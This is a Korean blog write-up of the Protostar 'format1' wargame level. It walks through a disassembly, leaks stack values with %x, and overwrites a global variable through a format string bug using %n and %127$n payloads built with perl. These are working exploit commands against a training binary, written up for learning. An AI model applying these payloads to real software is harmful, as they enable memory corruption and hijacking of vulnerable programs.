본문 바로가기

워게임/protostar

format1

0x080483f4 <vuln+0>: push   ebp

0x080483f5 <vuln+1>: mov    ebp,esp

0x080483f7 <vuln+3>: sub    esp,0x18

0x080483fa <vuln+6>: mov    eax,DWORD PTR [ebp+0x8]

0x080483fd <vuln+9>: mov    DWORD PTR [esp],eax

0x08048400 <vuln+12>: call   0x8048320 <printf@plt>

0x08048405 <vuln+17>: mov    eax,ds:0x8049638

0x0804840a <vuln+22>: test   eax,eax

0x0804840c <vuln+24>: je     0x804841a <vuln+38>

0x0804840e <vuln+26>: mov    DWORD PTR [esp],0x8048500

0x08048415 <vuln+33>: call   0x8048330 <puts@plt>

0x0804841a <vuln+38>: leave  

0x0804841b <vuln+39>: ret    

End of assembler dump.


힙 영역에 target이 저장되어있고 이 값이 참이면 머라머라 하튼 메세지를 뿌려준다(풀렸다는의미).


user@protostar:/opt/protostar/bin$ ./format1 `perl -e 'print "AAAABB","%x_"x128'`

AAAABB804960c_bffff668_8048469_b7fd8304_b7fd7ff4_bffff668_8048435_bffff830_b7ff1040_804845b_b7fd7ff4_8048450_0_bffff6e8_b7eadc76_2_bffff714_bffff720_b7fe1848_bffff6d0_ffffffff_b7ffeff4_804824d_1_bffff6d0_b7ff0626_b7fffab0_b7fe1b28_b7fd7ff4_0_0_bffff6e8_7163355f_5b37a34f_0_0_0_2_8048340_0_b7ff6210_b7eadb9b_b7ffeff4_2_8048340_0_8048361_804841c_2_bffff714_8048450_8048440_b7ff1040_bffff70c_b7fff8f8_2_bffff826_bffff830_0_bffff9b7_bffff9c5_bffff9d0_bffff9f2_bffffa05_bffffa0f_bffffeff_bfffff3d_bfffff51_bfffff68_bfffff79_bfffff81_bfffff91_bfffff9e_bfffffd4_bfffffe0_0_20_b7fe2414_21_b7fe2000_10_fabfbff_6_1000_11_64_3_8048034_4_20_5_7_7_b7fe3000_8_0_9_8048340_b_3e9_c_0_d_3e9_e_3e9_17_1_19_bffff80b_1f_bffffff2_f_bffff81b_0_0_0_34000000_ea2abdde_64104747_41d81211_69996cd3_363836_0_2f2e0000_6d726f66_317461_41414141_user@protostar:/opt/protostar/bin$ 


일단 이런식으로해서 esp+128*4 위치쯤 인자영역에서 41414141을 확인할 수 있다.


머 어쩌란거지 하고 찾아보니 포맷스트링 버그를 이용하여 메모리에 값을 쓸 수 있는 방법으로 %n 포맷이 있다고 한다. 


printf 디렉티브 중에 유일하게 인자에 쓸 수 있는 디렉티브라고.. 아무튼


%n을 특정 인자랑 맞춰서 출력시키게 되면 %n이 나오기 전에 출력된 바이트 길이를 해당 인자에 넣어주게 된다고한다.


참고로 $ flag를 활용하고자 할 때 %x$n로 쓸 수 있는데, 여기서 x는 인자 번호라고 생각하면 된다. 자세한건 $ flag 검색 ㄱㄱ


가령 int a = 123, b;이라는 변수가 있다고 가정할 때, printf(%d%n", a, &b);를 하게되면 b에는 3이 저장되게 된다.


이 점을 이용하여 이 문제에서도 target에 값을 넣을 수 있다. 제일 처음 인자로 참조되는 첫 4바이트를 target의 주소로 놓고 마지막에 %n을 붙여보자 %n이 들어가는 공간도 있으니 1바이트 패딩을 줄여줘야한다.


user@protostar:/opt/protostar/bin$ ./format1 `perl -e 'print "\x38\x96\x04\x08", "BB", "%x"x127, "%n"'`

8?BB804960cbffff6e88048469b7fd8304b7fd7ff4bffff6e88048435bffff8b0b7ff1040804845bb7fd7ff480484500bffff768b7eadc762bffff794bffff7a0b7fe1848bffff750ffffffffb7ffeff4804824d1bffff750b7ff0626b7fffab0b7fe1b28b7fd7ff400bffff768107ddb433a284d53000280483400b7ff6210b7eadb9bb7ffeff42804834008048361804841c2bffff79480484508048440b7ff1040bffff78cb7fff8f82bffff8a6bffff8b00bffff9b7bffff9c5bffff9d0bffff9f2bffffa05bffffa0fbffffeffbfffff3dbfffff51bfffff68bfffff79bfffff81bfffff91bfffff9ebfffffd4bfffffe0020b7fe241421b7fe200010fabfbff61000116438048034420577b7fe30008098048340b3e9c0d3e9e3e917119bffff88b1fbffffff2fbffff89b000fa0000001d4804cedf1e77c8899d204f6942784d36383602f2e00006d726f66317461you have modified the target :)


성공적으로 값이 변경되었다.


조금 너저분해보이면 format0처럼 더미를 삽입해도된다.


AAAA41414141user@protostar:/opt/protostar/bin$ ./format1 `perl -e 'print "\x38\x96\x04\x08"'`%127\$x

8?8049638user@protostar:/opt/protostar/bin$ ./format1 `perl -e 'print "\x38\x96\x04\x08"'`%127\$n

8?you have modified the target :)



'워게임 > protostar' 카테고리의 다른 글

format3  (0) 2015.11.03
format2  (0) 2015.11.03
format0  (0) 2015.11.03
heap3  (0) 2015.10.30
heap2  (0) 2015.10.30